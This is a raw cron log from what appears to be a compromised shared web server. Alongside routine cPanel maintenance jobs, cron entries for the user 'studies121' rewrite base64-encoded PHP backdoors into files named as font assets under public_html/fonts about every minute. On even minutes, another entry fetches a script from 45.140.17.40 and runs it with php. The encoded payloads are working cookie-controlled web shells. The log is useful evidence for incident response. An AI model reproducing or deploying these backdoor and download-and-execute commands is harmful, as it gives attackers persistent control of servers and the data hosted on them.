Sep  7 11:51:02 ip-184-168-122-23 CROND[20489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:51:02 ip-184-168-122-23 CROND[20491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:51:02 ip-184-168-122-23 CROND[20490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:51:02 ip-184-168-122-23 CROND[20493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:52:01 ip-184-168-122-23 CROND[20673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:52:01 ip-184-168-122-23 CROND[20676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:52:01 ip-184-168-122-23 CROND[20677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:52:01 ip-184-168-122-23 CROND[20675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:52:01 ip-184-168-122-23 CROND[20678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:53:01 ip-184-168-122-23 CROND[20851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:53:01 ip-184-168-122-23 CROND[20853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:53:01 ip-184-168-122-23 CROND[20852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:53:01 ip-184-168-122-23 CROND[20854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:54:01 ip-184-168-122-23 CROND[21027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:54:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:54:01 ip-184-168-122-23 CROND[21029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:54:01 ip-184-168-122-23 CROND[21028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:54:01 ip-184-168-122-23 CROND[21032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:55:02 ip-184-168-122-23 CROND[21122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:55:02 ip-184-168-122-23 CROND[21120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:55:02 ip-184-168-122-23 CROND[21121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:55:02 ip-184-168-122-23 CROND[21123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:55:02 ip-184-168-122-23 CROND[21124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:55:02 ip-184-168-122-23 CROND[21125]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:56:01 ip-184-168-122-23 CROND[21227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:56:01 ip-184-168-122-23 CROND[21231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:56:01 ip-184-168-122-23 CROND[21229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:56:01 ip-184-168-122-23 CROND[21230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:56:01 ip-184-168-122-23 CROND[21232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:57:01 ip-184-168-122-23 CROND[21339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:57:01 ip-184-168-122-23 CROND[21340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:57:01 ip-184-168-122-23 CROND[21341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:57:01 ip-184-168-122-23 CROND[21342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:58:01 ip-184-168-122-23 CROND[21453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:58:01 ip-184-168-122-23 CROND[21454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:58:01 ip-184-168-122-23 CROND[21455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:58:01 ip-184-168-122-23 CROND[21456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:58:01 ip-184-168-122-23 CROND[21458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:59:01 ip-184-168-122-23 CROND[21650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:59:01 ip-184-168-122-23 CROND[21651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:59:01 ip-184-168-122-23 CROND[21652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:59:01 ip-184-168-122-23 CROND[21653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:00:01 ip-184-168-122-23 CROND[21769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21775]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:00:01 ip-184-168-122-23 CROND[21778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21780]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  7 12:00:01 ip-184-168-122-23 CROND[21781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:01:01 ip-184-168-122-23 CROND[21913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:01:01 ip-184-168-122-23 CROND[21916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:01:01 ip-184-168-122-23 CROND[21914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:01:01 ip-184-168-122-23 CROND[21915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:01:01 ip-184-168-122-23 CROND[21918]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 12:01:01 ip-184-168-122-23 CROND[21920]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21918]: starting 0anacron
Sep  7 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21934]: finished 0anacron
Sep  7 12:02:01 ip-184-168-122-23 CROND[22029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:02:01 ip-184-168-122-23 CROND[22030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:02:01 ip-184-168-122-23 CROND[22032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:02:01 ip-184-168-122-23 CROND[22033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:02:01 ip-184-168-122-23 CROND[22031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
